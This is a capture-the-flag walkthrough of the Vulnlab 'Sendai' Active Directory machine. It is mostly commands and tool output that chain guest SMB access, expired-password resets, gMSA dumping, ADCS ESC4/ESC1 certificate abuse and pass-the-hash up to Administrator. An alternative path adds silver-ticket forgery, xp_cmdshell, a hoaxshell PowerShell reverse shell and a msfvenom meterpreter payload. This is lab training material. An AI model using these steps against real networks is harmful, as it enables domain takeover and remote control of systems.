VL-Sendai

Initial Reconnaissance

Our first step was to perform a port scan to identify available services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-08 12:50:51Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory 
443/tcp   open  ssl/http      syn-ack ttl 127 Microsoft IIS httpd 10.0
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc.sendai.vl
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
55350/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
55738/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
55770/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
55774/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

SMB Enumeration

We attempted to enumerate SMB shares using the guest account with a null password:

1
netexec smb 10.10.64.89 -u 'guest' -p '' --shares

Guest SMB Enumeration Results

User Enumeration

Next, we used impacket-lookupsid to enumerate domain users:

1
impacket-lookupsid sendai.vl/guest@dc.sendai.vl -target 10.10.64.89 -no-pass

This returned the following users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Administrator
Guest
krbtgt
DC$
sqlsvc
websvc
Dorothy.Jones
Kerry.Robinson
Naomi.Gardner
Anthony.Smith
Susan.Harper
Stephen.Simpson
Marie.Gallagher
Kathleen.Kelly
Norman.Baxter
Jason.Brady
Elliot.Yates
Malcolm.Smith
Lisa.Williams
Ross.Sullivan
Clifford.Davey
Declan.Jenkins
Lawrence.Grant
Leslie.Johnson
Megan.Edwards
Thomas.Powell
mgtsvc$

Share Access

We accessed the “sendai” share using the guest account:

1
smbclient //10.10.64.89/sendai -U guest

Sendai Share Contents
Inside the share, we found an incident.txt file mentioning a penetration test that discovered many weak passwords:

1
2
3
4
5
6
7
8
9
10
11
Dear valued employees,

We hope this message finds you well. We would like to inform you about an important security update regarding user account passwords. Recently, we conducted a thorough penetration test, which revealed that a significant number of user accounts have weak and insecure passwords.

To address this concern and maintain the highest level of security within our organization, the IT department has taken immediate action. All user accounts with insecure passwords have been expired as a precautionary measure. This means that affected users will be required to change their passwords upon their next login.

We kindly request all impacted users to follow the password reset process promptly to ensure the security and integrity of our systems. Please bear in mind that strong passwords play a crucial role in safeguarding sensitive information and protecting our network from potential threats.

If you need assistance or have any questions regarding the password reset procedure, please don't hesitate to reach out to the IT support team. They will be more than happy to guide you through the process and provide any necessary support.

Thank you for your cooperation and commitment to maintaining a secure environment for all of us. Your vigilance and adherence to robust security practices contribute significantly to our collective safety.

Password Spray and Reset

To identify users with expired passwords, we performed a password spray looking for the STATUS_PASSWORD_MUST_CHANGE flag:

1
netexec smb sendai.vl -u usernames.txt -p '' --continue-on-success

Users With Expired Passwords
We found that Elliot.Yates and Thomas.Powell had expired passwords. Using impacket’s changepasswd, we reset their passwords:

1
changepasswd.py DOMAIN/Elliot.Yates:''@10.10.72.160

When prompted for the current password, we pressed enter and set a new password that met the domain’s policy: HelloWorld123@
We then confirmed access with the new password:

1
netexec smb sendai.vl -u Elliot.Yates -p 'HelloWorld123@' --shares

Elliot's Accessible Shares

Domain Enumeration with BloodHound

Before exploring the newly accessible shares, we ran BloodHound to get a better understanding of the domain:

1
netexec ldap sendai.vl -u Elliot.Yates -p 'HelloWorld123@' --bloodhound --dns-server 10.10.72.160 -c ALL --dns-tcp

Initial BloodHound Path
From our findings, we identified several potential attack paths:

  1. Attempt to kerberoast the sql_svc account
  2. Explore the “config” and “sendai” shares for useful information
  3. Target the MGTSVC account to gain WinRM access to the DC

Kerberoasting

We attempted to kerberoast the sql_svc account:

1
impacket-GetUserSPNs -dc-ip 10.10.72.160 -request sendai.vl/Elliot.Yates:'HelloWorld123@' -dc-host DC.sendai.vl

SQL Service Account Hash
However, we were unable to crack the hash:
Hash Cracking Attempt Failed

Exploring Shares

We accessed the “config” share to look for sensitive information:

1
smbclient //10.10.72.160/config -U Elliot.Yates

Config Share Contents
We found a .sqlconfig file containing credentials for the SQL service account:

1
Server=dc.sendai.vl,1433;Database=prod;User Id=sqlsvc;Password=<PASSWORD>;

The SQL service account credentials were:

1
sqlsvc:SurenessBlob85

We also noted that the MSSQL service was running on port 1433, which wasn’t visible in our initial scan, suggesting firewall restrictions.

gMSA Password Extraction

First, we added Elliot.Yates to the ADMSVC group:

1
bloodyAD --host DC.sendai.vl -u 'Elliot.Yates' -p 'HelloWorld123@' -d 'sendai.vl' add groupMember ADMSVC Elliot.Yates

Then we used gMSADumper to retrieve the password for the GMSA account and convert it to an NT hash:

1
python3 gMSADumper.py -u 'Elliot.Yates' -p 'HelloWorld123@' -d 'sendai.vl'

gMSA Dump Results
With the NT hash, we established a WinRM session:

1
evil-winrm -i sendai.vl -u 'mgtsvc$' -H <HASH>

(We found the user.txt flag at C:\user.txt)

Privilege Escalation

We discovered that our user could add workstations to the domain.
Add Workstations Permission
To find additional privilege escalation vectors, we ran PrivescCheck.ps1:

1
..\PrivescCheck.ps1; Invoke-PrivescCheck

While no cleartext passwords were found, the script discovered a service with credentials in its ImagePath:

1
2
3
4
5
Name        : Support
DisplayName :
ImagePath   : C:\WINDOWS\helpdesk.exe -u clifford.davey -p PASS -k netsvcs
User        : LocalSystem
StartMode   : Automatic

Checking BloodHound again, we found that Clifford.Davey is part of the CA-Operators group:
CA Operators Group Membership

ADCS ESC4 Exploitation

We enumerated certificate templates using Clifford’s account:

1
certipy find -target 10.10.72.160 -dc-ip 10.10.72.160 -u 'clifford.davey@sendai.vl' -p '' -debug

We identified a vulnerable certificate template:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Certificate Templates
  0
    Template Name                       : SendaiComputer
    Display Name                        : SendaiComputer
    Certificate Authorities             : sendai-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
    Enrollment Flag                     : AutoEnrollment
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 100 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 4096
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SENDAI.VL\Domain Admins
                                          SENDAI.VL\Domain Computers
                                          SENDAI.VL\Enterprise Admins
      Object Control Permissions
        Owner                           : SENDAI.VL\Administrator
        Full Control Principals         : SENDAI.VL\ca-operators
        Write Owner Principals          : SENDAI.VL\Domain Admins
                                          SENDAI.VL\Enterprise Admins
                                          SENDAI.VL\Administrator
                                          SENDAI.VL\ca-operators
        Write Dacl Principals           : SENDAI.VL\Domain Admins
                                          SENDAI.VL\Enterprise Admins
                                          SENDAI.VL\Administrator
                                          SENDAI.VL\ca-operators
        Write Property Principals       : SENDAI.VL\Domain Admins
                                          SENDAI.VL\Enterprise Admins
                                          SENDAI.VL\Administrator
                                          SENDAI.VL\ca-operators
    [!] Vulnerabilities
      ESC4                              : 'SENDAI.VL\\ca-operators' has dangerous permissions

We exploited ESC4 by modifying the template to be vulnerable to ESC1. First, we made a backup of the original configuration and made our changes:

1
certipy template -u clifford.davey@sendai.vl -template SendaiComputer -save-old -p 'RFmoB2WplgE_3p' -dc-ip 10.10.72.160

Then, we exploited it as if it were an ESC1 vulnerability:

1
certipy req -u clifford.davey@sendai.cl -template SendaiComputer -upn administrator@sendai.vl -ca sendai-DC-CA -dc-ip 10.10.72.160 -target-ip 10.10.72.160 -p '' -debug
1
certipy auth -pfx 'administrator.pfx' -dc-ip 10.10.72.160 -domain sendai.vl

ESC1 Exploitation Success
Finally, we established a WinRM session as Administrator:

1
evil-winrm -i sendai.vl -u administrator -H <HASH>

Alternative Path: MSSQL Server Exploitation

An alternative path involves accessing the SQL server via a proxy to expose the MSSQL port to our machine. This approach uses the following steps:

  1. Use ligolo or chisel to expose the MSSQL port
  2. Create a Kerberos ticket for the Administrator:
    1
    2
    ticketer.py -spn MSSQL/dc.sendai.vl -domain-sid S-1-5-21-3085872742-570972823-736764132 -nthash [MSSQL-HASH] -dc-ip dc.sendai.vl Administrator -domain sendai.vl
    export KRB5CCNAME=Administrator.ccache
  3. Connect to the SQL server with the ticket:
    1
    2
    impacket-mssqlclient dc.sendai.vl -k
    enable_xp_cmdshell
  4. Set up a command shell to establish remote access:
    1
    hoaxshell -s ip --p 4444
  5. Execute the shell command:
    1
    EXEC master..xp_cmdshell 'powershell -e <hoaxshell>'
  6. Create and upload a Meterpreter shell:
    1
    msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=ip LPORT=443 -f exe -o shell.exe
  7. After getting a Meterpreter session, simply run getsystem to escalate privileges.

https://api.vulnlab.com/api/v1/share?id=9b6979e9-cbac-4893-8a52-68def2ae889f